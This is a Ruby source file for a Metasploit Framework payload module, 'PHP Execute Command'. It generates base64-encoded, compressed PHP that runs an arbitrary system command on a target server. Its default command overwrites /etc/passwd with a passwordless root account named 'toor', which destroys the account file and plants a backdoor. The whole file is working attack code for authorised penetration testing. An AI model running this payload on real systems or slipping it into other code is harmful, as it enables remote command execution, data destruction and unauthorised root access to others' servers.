61 lines
1.4 KiB
Ruby
61 lines
1.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/payload/php'
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Payload::Php
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'PHP Execute Command ',
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'Version' => '$Revision$',
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'Description' => 'Execute a single system command',
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'Author' => [ 'egypt' ],
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'License' => BSD_LICENSE,
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'Platform' => 'php',
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'Arch' => ARCH_PHP
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))
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register_options(
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[
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OptString.new('CMD', [ true, "The command string to execute", 'echo "toor::0:0:::/bin/bash">/etc/passwd' ]),
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], self.class)
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end
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def php_exec_cmd
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cmd = Rex::Text.encode_base64(datastore['CMD'])
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dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
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shell = <<-END_OF_PHP_CODE
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$c = base64_decode("#{cmd}");
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#{php_preamble({:disabled_varname => dis})}
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#{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis})}
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END_OF_PHP_CODE
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return Rex::Text.compress(shell)
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end
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#
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# Constructs the payload
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#
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def generate
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return php_exec_cmd
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end
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end
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